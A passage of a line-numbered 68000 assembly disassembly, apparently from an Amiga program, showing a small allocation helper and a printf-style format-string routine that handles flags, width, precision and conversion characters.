  5045.     MOVEA.L    8(A7),A1        ;2F6C: 226F0008
  5046. LAB_02B4:
  5047.     SUBQ    #8,A7            ;2F70: 514F
  5048.     MOVEM.L    A3/A5,-(A7)        ;2F72: 48E70014
  5049.     MOVEM.L    A0-A1,8(A7)        ;2F76: 48EF03000008
  5050.     LEA    316(A4),A5        ;2F7C: 4BEC013C
  5051.     BRA.S    LAB_02B6        ;2F80: 6004
  5052. LAB_02B5:
  5053.     MOVEA.L    A5,A3            ;2F82: 264D
  5054.     MOVEA.L    (A3),A5            ;2F84: 2A53
  5055. LAB_02B6:
  5056.     MOVE.L    A5,D0            ;2F86: 200D
  5057.     BEQ.S    LAB_02B7        ;2F88: 6706
  5058.     TST.L    24(A5)            ;2F8A: 4AAD0018
  5059.     BNE.S    LAB_02B5        ;2F8E: 66F2
  5060. LAB_02B7:
  5061.     MOVE.L    A5,D0            ;2F90: 200D
  5062.     BNE.S    LAB_02BA        ;2F92: 661E
  5063.     MOVEQ    #34,D0            ;2F94: 7022
  5064.     JSR    LAB_0223(PC)        ;2F96: 4EBAF4B0
  5065.     MOVEA.L    D0,A5            ;2F9A: 2A40
  5066.     TST.L    D0            ;2F9C: 4A80
  5067.     BNE.S    LAB_02B8        ;2F9E: 6604
  5068.     MOVEQ    #0,D0            ;2FA0: 7000
  5069.     BRA.S    LAB_02BB        ;2FA2: 601E
  5070. LAB_02B8:
  5071.     MOVEA.L    A5,A0            ;2FA4: 204D
  5072.     MOVE.L    A0,(A3)            ;2FA6: 2688
  5073.     MOVEQ    #33,D0            ;2FA8: 7021
  5074.     MOVEQ    #0,D1            ;2FAA: 7200
  5075. LAB_02B9:
  5076.     MOVE.B    D1,(A0)+        ;2FAC: 10C1
  5077.     DBF    D0,LAB_02B9        ;2FAE: 51C8FFFC
  5078. LAB_02BA:
  5079.     MOVE.L    A5,-(A7)        ;2FB2: 2F0D
  5080.     MOVEA.L    12(A7),A0        ;2FB4: 206F000C
  5081.     MOVEA.L    16(A7),A1        ;2FB8: 226F0010
  5082.     JSR    LAB_02A1(PC)        ;2FBC: 4EBAFE74
  5083.     ADDQ    #4,A7            ;2FC0: 584F
  5084. LAB_02BB:
  5085.     MOVEM.L    (A7)+,A3/A5        ;2FC2: 4CDF2800
  5086.     ADDQ    #8,A7            ;2FC6: 504F
  5087.     RTS                ;2FC8: 4E75
  5088.     DC.W    $0000            ;2FCA
  5089.     MOVEA.L    4(A7),A0        ;2FCC: 206F0004
  5090.     MOVEA.L    8(A7),A1        ;2FD0: 226F0008
  5091.     MOVE.L    12(A7),4(A7)        ;2FD4: 2F6F000C0004
  5092.     MOVE.L    16(A7),8(A7)        ;2FDA: 2F6F00100008
  5093. LAB_02BC:
  5094.     SUBA    #$0034,A7        ;2FE0: 9EFC0034
  5095.     MOVEM.L    D2/D4-D7/A2-A3/A5-A6,-(A7) ;2FE4: 48E72F36
  5096.     MOVEA.L    96(A7),A3        ;2FE8: 266F0060
  5097.     MOVEA.L    92(A7),A5        ;2FEC: 2A6F005C
  5098.     MOVEM.L    A0-A1,44(A7)        ;2FF0: 48EF0300002C
  5099.     CLR.B    59(A7)            ;2FF6: 422F003B
  5100.     CLR.B    58(A7)            ;2FFA: 422F003A
  5101.     CLR.B    57(A7)            ;2FFE: 422F0039
  5102.     CLR.B    56(A7)            ;3002: 422F0038
  5103.     MOVE.B    #$20,55(A7)        ;3006: 1F7C00200037
  5104.     CLR.L    84(A7)            ;300C: 42AF0054
  5105.     MOVEQ    #-1,D0            ;3010: 70FF
  5106.     MOVE.L    D0,80(A7)        ;3012: 2F400050
  5107.     CLR.B    54(A7)            ;3016: 422F0036
  5108.     MOVEQ    #0,D7            ;301A: 7E00
  5109.     MOVEQ    #0,D6            ;301C: 7C00
  5110.     LEA    60(A7),A2        ;301E: 45EF003C
  5111.     BRA.S    LAB_02C1        ;3022: 606C
  5112. LAB_02BD:
  5113.     MOVEQ    #0,D0            ;3024: 7000
  5114.     MOVEA.L    44(A7),A0        ;3026: 206F002C
  5115.     MOVE.B    (A0),D0            ;302A: 1010
  5116.     MOVEQ    #32,D1            ;302C: 7220
  5117.     SUB.L    D1,D0            ;302E: 9081
  5118.     BLT.S    LAB_02C2        ;3030: 6D66
  5119.     CMPI.L    #$00000011,D0        ;3032: 0C8000000011
  5120.     BGE.S    LAB_02C2        ;3038: 6C5E
  5121.     ADD    D0,D0            ;303A: D040
  5122.     MOVE    LAB_02BE(PC,D0.W),D0    ;303C: 303B0006
  5123.     JMP    LAB_02BE+2(PC,D0.W)    ;3040: 4EFB0004
  5124. LAB_02BE:
  5125.     ORI.B    #$52,82(A0,D0.W)    ;3044: 003000520052
  5126.     ORI.B    #$52,(EXT_0002).W    ;304A: 003800520052
  5127.     ORI    #$0052,(A2)        ;3050: 00520052
  5128.     ORI    #$0052,(A2)        ;3054: 00520052
  5129.     ORI    #$0028,(A2)        ;3058: 00520028
  5130.     ORI    #$0020,(A2)        ;305C: 00520020
  5131.     ORI    #$0052,(A2)        ;3060: 00520052
  5132.     ORI    #$1F7C,D0        ;3064: 00401F7C
  5133.     ORI.B    #$3B,D1            ;3068: 0001003B
  5134.     BRA.S    LAB_02C0        ;306C: 601E
  5135.     MOVE.B    #$01,58(A7)        ;306E: 1F7C0001003A
  5136.     BRA.S    LAB_02C0        ;3074: 6016
  5137.     MOVE.B    #$01,57(A7)        ;3076: 1F7C00010039
  5138.     BRA.S    LAB_02C0        ;307C: 600E
  5139.     MOVE.B    #$01,56(A7)        ;307E: 1F7C00010038
  5140.     BRA.S    LAB_02C0        ;3084: 6006
  5141.     MOVE.B    #$30,55(A7)        ;3086: 1F7C00300037
  5142. LAB_02C0:
  5143.     ADDQ.L    #1,44(A7)        ;308C: 52AF002C
  5144. LAB_02C1:
  5145.     MOVEA.L    44(A7),A0        ;3090: 206F002C
  5146.     TST.B    (A0)            ;3094: 4A10
  5147.     BNE.S    LAB_02BD        ;3096: 668C
  5148. LAB_02C2:
  5149.     MOVEQ    #1,D0            ;3098: 7001
  5150.     CMP.B    59(A7),D0        ;309A: B02F003B
  5151.     BNE.S    LAB_02C3        ;309E: 6606
  5152.     MOVE.B    #$20,55(A7)        ;30A0: 1F7C00200037
  5153. LAB_02C3:
  5154.     MOVEQ    #42,D1            ;30A6: 722A
  5155.     MOVEA.L    44(A7),A0        ;30A8: 206F002C
  5156.     CMP.B    (A0),D1            ;30AC: B210
  5157.     BNE.S    LAB_02C5        ;30AE: 661E
  5158.     MOVEA.L    48(A7),A6        ;30B0: 2C6F0030
  5159.     MOVEA.L    (A6),A1            ;30B4: 2256
  5160.     ADDQ.L    #4,(A6)            ;30B6: 5896
  5161.     MOVE.L    (A1),D1            ;30B8: 2211
  5162.     MOVE.L    D1,84(A7)        ;30BA: 2F410054
  5163.     BGE.S    LAB_02C4        ;30BE: 6C08
  5164.     NEG.L    84(A7)            ;30C0: 44AF0054
  5165.     MOVE.B    D0,59(A7)        ;30C4: 1F40003B
  5166. LAB_02C4:
  5167.     ADDQ.L    #1,44(A7)        ;30C8: 52AF002C
  5168.     BRA.S    LAB_02C6        ;30CC: 600C
  5169. LAB_02C5:
  5170.     LEA    84(A7),A1        ;30CE: 43EF0054
  5171.     JSR    LAB_0171(PC)        ;30D2: 4EBAE708
  5172.     ADD.L    D0,44(A7)        ;30D6: D1AF002C
  5173. LAB_02C6:
  5174.     MOVEA.L    44(A7),A0        ;30DA: 206F002C
  5175.     MOVE.B    (A0),D0            ;30DE: 1010
  5176.     MOVEQ    #46,D1            ;30E0: 722E
  5177.     CMP.B    D1,D0            ;30E2: B001
  5178.     BNE.S    LAB_02CB        ;30E4: 6646
  5179.     ADDQ.L    #1,44(A7)        ;30E6: 52AF002C
  5180.     MOVEQ    #42,D0            ;30EA: 702A
  5181.     MOVEA.L    44(A7),A0        ;30EC: 206F002C
  5182.     CMP.B    (A0),D0            ;30F0: B010
  5183.     BNE.S    LAB_02C8        ;30F2: 661C
  5184.     MOVEA.L    48(A7),A1        ;30F4: 226F0030
  5185.     MOVEA.L    (A1),A0            ;30F8: 2051
  5186.     ADDQ.L    #4,(A1)            ;30FA: 5891
  5187.     MOVE.L    (A0),D0            ;30FC: 2010
  5188.     MOVE.L    D0,80(A7)        ;30FE: 2F400050
  5189.     BGE.S    LAB_02C7        ;3102: 6C06
  5190.     MOVEQ    #-1,D0            ;3104: 70FF
  5191.     MOVE.L    D0,80(A7)        ;3106: 2F400050
  5192. LAB_02C7:
  5193.     ADDQ.L    #1,44(A7)        ;310A: 52AF002C
  5194.     BRA.S    LAB_02CA        ;310E: 6016
  5195. LAB_02C8:
  5196.     LEA    80(A7),A1        ;3110: 43EF0050
  5197.     JSR    LAB_0171(PC)        ;3114: 4EBAE6C6
  5198.     MOVE.L    D0,D5            ;3118: 2A00
  5199.     BNE.S    LAB_02C9        ;311A: 6606
  5200.     CLR.L    80(A7)            ;311C: 42AF0050
  5201.     BRA.S    LAB_02CA        ;3120: 6004
  5202. LAB_02C9:
  5203.     ADD.L    D5,44(A7)        ;3122: DBAF002C
  5204. LAB_02CA:
  5205.     MOVE.B    #$20,55(A7)        ;3126: 1F7C00200037
  5206. LAB_02CB:
  5207.     MOVEQ    #0,D0            ;312C: 7000
  5208.     MOVEA.L    44(A7),A0        ;312E: 206F002C
  5209.     MOVE.B    (A0),D0            ;3132: 1010
  5210.     MOVEQ    #76,D1            ;3134: 724C
  5211.     SUB.L    D1,D0            ;3136: 9081
  5212.     BEQ.S    LAB_02CD        ;3138: 6714
  5213.     MOVEQ    #28,D1            ;313A: 721C
  5214.     SUB.L    D1,D0            ;313C: 9081
  5215.     BEQ.S    LAB_02CC        ;313E: 6706
  5216.     SUBQ.L    #4,D0            ;3140: 5980
  5217.     BEQ.S    LAB_02CD        ;3142: 670A
  5218.     BRA.S    LAB_02CF        ;3144: 6012
  5219. LAB_02CC:
  5220.     MOVE.B    #$02,54(A7)        ;3146: 1F7C00020036
  5221.     BRA.S    LAB_02CE        ;314C: 6006
  5222. LAB_02CD:
  5223.     MOVE.B    #$01,54(A7)        ;314E: 1F7C00010036
  5224. LAB_02CE:
  5225.     ADDQ.L    #1,44(A7)        ;3154: 52AF002C
  5226. LAB_02CF:
  5227.     MOVEA.L    44(A7),A0        ;3158: 206F002C
  5228.     ADDQ.L    #1,A0            ;315C: 5288
  5229.     MOVEA.L    44(A7),A1        ;315E: 226F002C
  5230.     MOVE.B    (A1),D0            ;3162: 1011
  5231.     MOVEQ    #0,D1            ;3164: 7200
  5232.     MOVE.B    D0,D1            ;3166: 1200
  5233.     MOVE.B    D0,36(A7)        ;3168: 1F400024
  5234.     MOVE.L    A0,38(A7)        ;316C: 2F480026
  5235.     MOVEQ    #80,D0            ;3170: 7050
  5236.     SUB.L    D0,D1            ;3172: 9280
  5237.     BLT    LAB_02E9        ;3174: 6D00021E
  5238.     CMPI.L    #$00000029,D1        ;3178: 0C8100000029
  5239.     BGE    LAB_02E9        ;317E: 6C000214
  5240.     ADD    D1,D1            ;3182: D241
  5241.     MOVE    LAB_02D0(PC,D1.W),D1    ;3184: 323B1006
  5242.     JMP    LAB_02D1(PC,D1.W)    ;3188: 4EFB1004
  5243. LAB_02D0:
  5244.     BTST    D0,-(A2)        ;318C: 0122
  5245. LAB_02D1:
  5246.     DC.W    $0206            ;318E
  5247.     DC.W    $0206            ;3190
  5248.     DC.W    $0206            ;3192
  5249.     DC.W    $0206            ;3194
  5250.     DC.W    $0206            ;3196
  5251.     DC.W    $0206            ;3198
  5252.     DC.W    $0206            ;319A
  5253.     DC.W    $0134            ;319C
  5254.     DC.W    $0206            ;319E
  5255.     DC.W    $0206            ;31A0
  5256.     DC.W    $0206            ;31A2
  5257.     DC.W    $0206            ;31A4
  5258.     DC.W    $0206            ;31A6
  5259.     DC.W    $0206            ;31A8
  5260.     DC.W    $0206            ;31AA
  5261.     DC.W    $0206            ;31AC
  5262.     DC.W    $0206            ;31AE
  5263.     DC.W    $0206            ;31B0
  5264.     BSET    D0,118(A0,D0.W)        ;31B2: 01F00076
  5265.     DC.W    $0206            ;31B6
  5266.     DC.W    $0206            ;31B8
  5267.     DC.W    $0206            ;31BA
  5268.     ANDI.B    #$76,D6            ;31BC: 02060076
  5269.     DC.W    $0206            ;31C0
  5270.     DC.W    $0206            ;31C2
  5271.     DC.W    $0206            ;31C4
  5272.     ANDI.B    #$50,D6            ;31C6: 02060050
  5273.     DC.W    $0134            ;31CA
  5274.     BTST    D0,-(A2)        ;31CC: 0122
  5275.     DC.W    $0206            ;31CE
  5276.     DC.W    $0206            ;31D0
  5277.     DC.W    $01BE            ;31D2
  5278.     DC.W    $0206            ;31D4
  5279.     DC.W    $0134            ;31D6
  5280.     DC.W    $0206            ;31D8
  5281.     DC.W    $0206            ;31DA
  5282.     DC.W    $0134            ;31DC
  5283.     MOVEA.L    48(A7),A2        ;31DE: 246F0030
  5284.     MOVEQ    #2,D0            ;31E2: 7002
  5285.     CMP.B    54(A7),D0        ;31E4: B02F0036
  5286.     BNE.S    LAB_02D2        ;31E8: 660E
  5287.     MOVEA.L    (A2),A0            ;31EA: 2052
  5288.     ADDQ.L    #4,(A2)            ;31EC: 5892
  5289.     MOVEA.L    (A0),A1            ;31EE: 2250
  5290.     MOVE.L    (A3),D0            ;31F0: 2013
  5291.     MOVE    D0,(A1)            ;31F2: 3280
  5292.     BRA    LAB_02FC        ;31F4: 6000024A
  5293. LAB_02D2:
  5294.     MOVEA.L    (A2),A0            ;31F8: 2052
  5295.     ADDQ.L    #4,(A2)            ;31FA: 5892
  5296.     MOVEA.L    (A0),A1            ;31FC: 2250
  5297.     MOVE.L    (A3),(A1)        ;31FE: 2293
  5298.     BRA    LAB_02FC        ;3200: 6000023E
  5299.     MOVEA.L    48(A7),A1        ;3204: 226F0030
  5300.     MOVEA.L    (A1),A0            ;3208: 2051
  5301.     ADDQ.L    #4,(A1)            ;320A: 5891
  5302.     MOVE.L    (A0),D4            ;320C: 2810
  5303.     BPL.S    LAB_02D3        ;320E: 6A04
  5304.     MOVEQ    #1,D7            ;3210: 7E01
  5305.     NEG.L    D4            ;3212: 4484
  5306. LAB_02D3:
  5307.     TST.L    D7            ;3214: 4A87
  5308.     BEQ.S    LAB_02D4        ;3216: 670C
  5309.     LEA    61(A7),A2        ;3218: 45EF003D
  5310.     MOVE.B    #$2D,60(A7)        ;321C: 1F7C002D003C
  5311.     BRA.S    LAB_02D6        ;3222: 6022
  5312. LAB_02D4:
  5313.     TST.B    58(A7)            ;3224: 4A2F003A
  5314.     BEQ.S    LAB_02D5        ;3228: 670C
  5315.     LEA    61(A7),A2        ;322A: 45EF003D
  5316.     MOVE.B    #$2B,60(A7)        ;322E: 1F7C002B003C
  5317.     BRA.S    LAB_02D6        ;3234: 6010
  5318. LAB_02D5:
  5319.     TST.B    57(A7)            ;3236: 4A2F0039
  5320.     BEQ.S    LAB_02D7        ;323A: 670C
  5321.     LEA    61(A7),A2        ;323C: 45EF003D
  5322.     MOVE.B    #$20,60(A7)        ;3240: 1F7C0020003C
  5323. LAB_02D6:
  5324.     MOVEQ    #1,D6            ;3246: 7C01
  5325. LAB_02D7:
  5326.     MOVE.L    D4,D0            ;3248: 2004
  5327.     MOVEA.L    A2,A0            ;324A: 204A
  5328.     JSR    LAB_0152(PC)        ;324C: 4EBAE3DA
  5329. LAB_02D8:
  5330.     MOVE.L    D0,D5            ;3250: 2A00
  5331. LAB_02D9:
  5332.     MOVE.L    80(A7),D0        ;3252: 202F0050
  5333.     BNE.S    LAB_02DA        ;3256: 6606
  5334.     TST.L    D4            ;3258: 4A84
  5335.     BEQ    LAB_02FC        ;325A: 670001E4
  5336. LAB_02DA:
  5337.     MOVE.L    80(A7),D0        ;325E: 202F0050
  5338.     BPL.S    LAB_02DB        ;3262: 6A06
  5339.     MOVEQ    #1,D1            ;3264: 7201
  5340.     MOVE.L    D1,80(A7)        ;3266: 2F410050
  5341. LAB_02DB:
  5342.     MOVE.L    80(A7),D4        ;326A: 282F0050
  5343.     SUB.L    D5,D4            ;326E: 9885
  5344.     BLE.S    LAB_02DE        ;3270: 6F1C
  5345.     MOVEA.L    A2,A0            ;3272: 204A
  5346.     ADDA.L    D4,A0            ;3274: D1C4
  5347.     MOVE.L    D5,D0            ;3276: 2005
  5348.     MOVEA.L    A2,A1            ;3278: 224A
  5349.     JSR    LAB_020E(PC)        ;327A: 4EBAF03C
  5350.     MOVEQ    #48,D1            ;327E: 7230
  5351.     MOVEA.L    A2,A0            ;3280: 204A
  5352.     BRA.S    LAB_02DD        ;3282: 6002
  5353. LAB_02DC:
  5354.     MOVE.B    D1,(A0)+        ;3284: 10C1
  5355. LAB_02DD:
  5356.     SUBQ.L    #1,D4            ;3286: 5384
  5357.     BCC.S    LAB_02DC        ;3288: 64FA
  5358.     MOVE.L    80(A7),D5        ;328A: 2A2F0050
  5359. LAB_02DE:
  5360.     ADD.L    D5,D6            ;328E: DC85
  5361.     MOVE.L    D5,D0            ;3290: 2005
  5362.     SUBQ.L    #1,D0            ;3292: 5380
  5363.     BNE    LAB_02EA        ;3294: 66000104
  5364.     MOVE.B    (A2),D0            ;3298: 1012
  5365.     CMP.B    55(A7),D0        ;329A: B02F0037
  5366.     BNE    LAB_02EA        ;329E: 660000FA
  5367.     TST.L    80(A7)            ;32A2: 4AAF0050
  5368.     BNE    LAB_02EA        ;32A6: 660000F2
  5369.     CLR.B    (A2)            ;32AA: 4212
  5370.     BRA    LAB_02EA        ;32AC: 600000EC
  5371.     MOVE.L    80(A7),D0        ;32B0: 202F0050
  5372.     BPL.S    LAB_02DF        ;32B4: 6A06
  5373.     MOVEQ    #8,D0            ;32B6: 7008
  5374.     MOVE.L    D0,80(A7)        ;32B8: 2F400050
  5375. LAB_02DF:
  5376.     MOVE.B    #$01,54(A7)        ;32BC: 1F7C00010036
  5377.     MOVEQ    #2,D0            ;32C2: 7002
  5378.     CMP.B    54(A7),D0        ;32C4: B02F0036
  5379.     BNE.S    LAB_02E0        ;32C8: 6610
  5380.     MOVEA.L    48(A7),A1        ;32CA: 226F0030
  5381.     MOVEA.L    (A1),A0            ;32CE: 2051
  5382.     ADDQ.L    #4,(A1)            ;32D0: 5891
  5383.     MOVE.L    (A0),D0            ;32D2: 2010
  5384.     MOVEQ    #0,D4            ;32D4: 7800
  5385.     MOVE    D0,D4            ;32D6: 3800
  5386.     BRA.S    LAB_02E1        ;32D8: 600A
  5387. LAB_02E0:
  5388.     MOVEA.L    48(A7),A1        ;32DA: 226F0030
  5389.     MOVEA.L    (A1),A0            ;32DE: 2051
  5390.     ADDQ.L    #4,(A1)            ;32E0: 5891
  5391.     MOVE.L    (A0),D4            ;32E2: 2810
  5392. LAB_02E1:
  5393.     MOVE.B    36(A7),D0        ;32E4: 102F0024
  5394.     MOVEQ    #117,D1            ;32E8: 7275
  5395.     CMP.B    D1,D0            ;32EA: B001
  5396.     BEQ    LAB_02D7        ;32EC: 6700FF5A
  5397.     MOVEQ    #111,D1            ;32F0: 726F
  5398.     CMP.B    D1,D0            ;32F2: B001
  5399.     BNE.S    LAB_02E3        ;32F4: 661E
  5400.     TST.B    56(A7)            ;32F6: 4A2F0038
  5401.     BEQ.S    LAB_02E2        ;32FA: 670C
  5402.     LEA    61(A7),A2        ;32FC: 45EF003D
  5403.     MOVE.B    #$30,60(A7)        ;3300: 1F7C0030003C
  5404.     MOVEQ    #1,D6            ;3306: 7C01
  5405. LAB_02E2:
  5406.     MOVE.L    D4,D0            ;3308: 2004
  5407.     MOVEA.L    A2,A0            ;330A: 204A
  5408.     JSR    LAB_015D(PC)        ;330C: 4EBAE3C6
  5409.     BRA    LAB_02D8        ;3310: 6000FF3E
  5410. LAB_02E3:
  5411.     TST.B    56(A7)            ;3314: 4A2F0038
  5412.     BEQ.S    LAB_02E4        ;3318: 6712
  5413.     MOVE.B    #$30,60(A7)        ;331A: 1F7C0030003C
  5414.     LEA    62(A7),A2        ;3320: 45EF003E
  5415.     MOVE.B    #$78,61(A7)        ;3324: 1F7C0078003D
  5416.     MOVEQ    #2,D6            ;332A: 7C02
  5417. LAB_02E4:
  5418.     MOVE.L    D4,D0            ;332C: 2004
  5419.     MOVEA.L    A2,A0            ;332E: 204A
  5420.     JSR    LAB_0161(PC)        ;3330: 4EBAE3E2
  5421.     MOVE.L    D0,D5            ;3334: 2A00
  5422.     BTST    #5,36(A7)        ;3336: 082F00050024
  5423.     BNE    LAB_02D9        ;333C: 6600FF14
  5424.     LEA    60(A7),A0        ;3340: 41EF003C
  5425.     JSR    LAB_017F(PC)        ;3344: 4EBAE56A
  5426.     BRA    LAB_02D9        ;3348: 6000FF08
  5427.     MOVEA.L    48(A7),A1        ;334C: 226F0030
  5428.     MOVEA.L    (A1),A0            ;3350: 2051
  5429.     ADDQ.L    #4,(A1)            ;3352: 5891
  5430.     MOVEA.L    (A0),A2            ;3354: 2450
  5431.     MOVE.L    A2,D0            ;3356: 200A
  5432.     BNE.S    LAB_02E5        ;3358: 6604
  5433.     LEA    LAB_02FE(PC),A2        ;335A: 45FA00F2
  5434. LAB_02E5:
  5435.     MOVEA.L    A2,A0            ;335E: 204A
  5436. LAB_02E6:
  5437.     TST.B    (A0)+            ;3360: 4A18
  5438.     BNE.S    LAB_02E6        ;3362: 66FC
  5439.     SUBQ.L    #1,A0            ;3364: 5388
  5440.     SUBA.L    A2,A0            ;3366: 91CA
  5441.     MOVE.L    A0,D5            ;3368: 2A08
  5442.     MOVE.L    80(A7),D0        ;336A: 202F0050
  5443.     BMI.S    LAB_02E7        ;336E: 6B04
  5444.     CMP.L    D5,D0            ;3370: B085
  5445.     BLE.S    LAB_02E8        ;3372: 6F04
  5446. LAB_02E7:
  5447.     MOVE.L    D5,80(A7)        ;3374: 2F450050
  5448. LAB_02E8:
  5449.     MOVE.L    80(A7),D6        ;3378: 2C2F0050
  5450.     BRA.S    LAB_02EB        ;337C: 6020
  5451.     MOVEQ    #1,D6            ;337E: 7C01
  5452.     MOVEA.L    48(A7),A1        ;3380: 226F0030
  5453.     MOVEA.L    (A1),A0            ;3384: 2051
  5454.     ADDQ.L    #4,(A1)            ;3386: 5891
  5455.     MOVE.L    (A0),D0            ;3388: 2010
  5456.     MOVE.B    D0,60(A7)        ;338A: 1F40003C
  5457.     CLR.B    61(A7)            ;338E: 422F003D
  5458.     BRA.S    LAB_02EA        ;3392: 6006
  5459. LAB_02E9:
  5460.     MOVEQ    #0,D0            ;3394: 7000
  5461.     BRA    LAB_02FD        ;3396: 600000AC
  5462. LAB_02EA:
  5463.     LEA    60(A7),A2        ;339A: 45EF003C
  5464. LAB_02EB:
  5465.     MOVE.L    84(A7),D0        ;339E: 202F0054
  5466.     CMP.L    D6,D0            ;33A2: B086
  5467.     BGE.S    LAB_02EC        ;33A4: 6C08
  5468.     MOVEQ    #0,D1            ;33A6: 7200
  5469.     MOVE.L    D1,84(A7)        ;33A8: 2F410054
  5470.     BRA.S    LAB_02ED        ;33AC: 6004
  5471. LAB_02EC:
  5472.     SUB.L    D6,84(A7)        ;33AE: 9DAF0054
  5473. LAB_02ED:
  5474.     TST.B    59(A7)            ;33B2: 4A2F003B
  5475.     BEQ.S    LAB_02F2        ;33B6: 671E
  5476.     BRA.S    LAB_02EF        ;33B8: 6008
  5477. LAB_02EE:
  5478.     MOVEQ    #0,D0            ;33BA: 7000
  5479.     MOVE.B    (A2)+,D0        ;33BC: 101A
  5480.     MOVEA.L    A3,A0            ;33BE: 204B
  5481.     JSR    (A5)            ;33C0: 4E95
  5482. LAB_02EF:
  5483.     SUBQ.L    #1,D6            ;33C2: 5386
  5484.     BGE.S    LAB_02EE        ;33C4: 6CF4
  5485.     BRA.S    LAB_02F1        ;33C6: 6006
  5486. LAB_02F0:
  5487.     MOVEA.L    A3,A0            ;33C8: 204B
  5488.     MOVEQ    #32,D0            ;33CA: 7020
  5489.     JSR    (A5)            ;33CC: 4E95
  5490. LAB_02F1:
  5491.     SUBQ.L    #1,84(A7)        ;33CE: 53AF0054
  5492.     BGE.S    LAB_02F0        ;33D2: 6CF4
  5493.     BRA.S    LAB_02FC        ;33D4: 606A
  5494. LAB_02F2:
  5495.     TST.L    D7            ;33D6: 4A87
  5496.     BNE.S    LAB_02F3        ;33D8: 660C
  5497.     TST.B    57(A7)            ;33DA: 4A2F0039
  5498.     BNE.S    LAB_02F3        ;33DE: 6606
  5499.     TST.B    58(A7)            ;33E0: 4A2F003A
  5500.     BEQ.S    LAB_02F9        ;33E4: 6746
  5501. LAB_02F3:
  5502.     MOVE.B    (A2),D0            ;33E6: 1012
  5503.     MOVEQ    #32,D1            ;33E8: 7220
  5504.     CMP.B    D1,D0            ;33EA: B001
  5505.     BEQ.S    LAB_02F4        ;33EC: 670C
  5506.     MOVEQ    #43,D2            ;33EE: 742B
  5507.     CMP.B    D2,D0            ;33F0: B002
  5508.     BEQ.S    LAB_02F4        ;33F2: 6706
  5509.     MOVEQ    #45,D2            ;33F4: 742D
  5510.     CMP.B    D2,D0            ;33F6: B002
  5511.     BNE.S    LAB_02F9        ;33F8: 6632
  5512. LAB_02F4:
  5513.     TST.L    D6            ;33FA: 4A86
  5514.     BMI.S    LAB_02F9        ;33FC: 6B2E
  5515.     CMP.B    55(A7),D1        ;33FE: B22F0037
  5516.     BNE.S    LAB_02F7        ;3402: 6612
  5517.     BRA.S    LAB_02F6        ;3404: 600A
  5518. LAB_02F5:
  5519.     MOVEQ    #0,D0            ;3406: 7000
  5520.     MOVE.B    55(A7),D0        ;3408: 102F0037
  5521.     MOVEA.L    A3,A0            ;340C: 204B
  5522.     JSR    (A5)            ;340E: 4E95
  5523. LAB_02F6:
  5524.     SUBQ.L    #1,84(A7)        ;3410: 53AF0054
  5525.     BGE.S    LAB_02F5        ;3414: 6CF0
  5526. LAB_02F7:
  5527.     MOVEQ    #0,D0            ;3416: 7000
  5528.     MOVE.B    (A2)+,D0        ;3418: 101A
  5529.     MOVEA.L    A3,A0            ;341A: 204B
  5530.     JSR    (A5)            ;341C: 4E95
  5531.     SUBQ.L    #1,D6            ;341E: 5386
  5532.     BRA.S    LAB_02F9        ;3420: 600A
  5533. LAB_02F8:
  5534.     MOVEQ    #0,D0            ;3422: 7000
  5535.     MOVE.B    55(A7),D0        ;3424: 102F0037
  5536.     MOVEA.L    A3,A0            ;3428: 204B
  5537.     JSR    (A5)            ;342A: 4E95
  5538. LAB_02F9:
  5539.     SUBQ.L    #1,84(A7)        ;342C: 53AF0054
  5540.     BGE.S    LAB_02F8        ;3430: 6CF0
  5541.     BRA.S    LAB_02FB        ;3432: 6008
  5542. LAB_02FA:
  5543.     MOVEQ    #0,D0            ;3434: 7000
  5544.     MOVE.B    (A2)+,D0        ;3436: 101A
  5545.     MOVEA.L    A3,A0            ;3438: 204B
  5546.     JSR    (A5)            ;343A: 4E95
  5547. LAB_02FB:
  5548.     SUBQ.L    #1,D6            ;343C: 5386
  5549.     BGE.S    LAB_02FA        ;343E: 6CF4
  5550. LAB_02FC:
  5551.     MOVE.L    38(A7),D0        ;3440: 202F0026
  5552. LAB_02FD:
  5553.     MOVEM.L    (A7)+,D2/D4-D7/A2-A3/A5-A6 ;3444: 4CDF6CF4
  5554.     ADDA    #$0034,A7        ;3448: DEFC0034
  5555.     RTS                ;344C: 4E75
  5556. LAB_02FE:
  5557.     DC.W    $0000            ;344E
  5558.     MOVEA.L    4(A7),A0        ;3450: 206F0004
  5559.     MOVEA.L    8(A7),A1        ;3454: 226F0008
  5560.     MOVE.L    12(A7),4(A7)        ;3458: 2F6F000C0004
  5561.     MOVE.L    16(A7),8(A7)        ;345E: 2F6F00100008
  5562. LAB_02FF:
  5563.     SUBA    #$000C,A7        ;3464: 9EFC000C
  5564.     MOVEM.L    A3/A5,-(A7)        ;3468: 48E70014
  5565.     MOVEA.L    A1,A3            ;346C: 2649
  5566.     MOVEA.L    A0,A5            ;346E: 2A48
  5567.     MOVE.L    28(A7),16(A7)        ;3470: 2F6F001C0010
  5568.     BRA.S    LAB_0303        ;3476: 6038
  5569. LAB_0300:
  5570.     MOVEQ    #37,D0            ;3478: 7025
  5571.     CMP.B    12(A7),D0        ;347A: B02F000C
  5572.     BNE.S    LAB_0302        ;347E: 6626
  5573.     MOVEA.L    24(A7),A0        ;3480: 206F0018
  5574.     CMP.B    (A0),D0            ;3484: B010
  5575.     BNE.S    LAB_0301        ;3486: 6606
  5576.     ADDQ.L    #1,24(A7)        ;3488: 52AF0018
  5577.     BRA.S    LAB_0302        ;348C: 6018
  5578. LAB_0301:
  5579.     MOVE.L    A3,-(A7)        ;348E: 2F0B
  5580.     MOVE.L    A5,-(A7)        ;3490: 2F0D
  5581.     LEA    24(A7),A1        ;3492: 43EF0018
  5582.     JSR    LAB_02BC(PC)        ;3496: 4EBAFB48
  5583.     ADDQ    #8,A7            ;349A: 504F
  5584.     TST.L    D0            ;349C: 4A80
  5585.     BEQ.S    LAB_0302        ;349E: 6706
  5586.     MOVE.L    D0,24(A7)        ;34A0: 2F400018
  5587.     BRA.S    LAB_0303        ;34A4: 600A
  5588. LAB_0302:
  5589.     MOVEQ    #0,D0            ;34A6: 7000
  5590.     MOVE.B    12(A7),D0        ;34A8: 102F000C
  5591.     MOVEA.L    A3,A0            ;34AC: 204B
  5592.     JSR    (A5)            ;34AE: 4E95
  5593. LAB_0303:
  5594.     MOVEA.L    24(A7),A0        ;34B0: 206F0018
  5595.     MOVE.B    (A0)+,D0        ;34B4: 1018
  5596.     MOVE.B    D0,12(A7)        ;34B6: 1F40000C
  5597.     MOVE.L    A0,24(A7)        ;34BA: 2F480018
  5598.     TST.B    D0            ;34BE: 4A00
  5599.     BNE.S    LAB_0300        ;34C0: 66B6
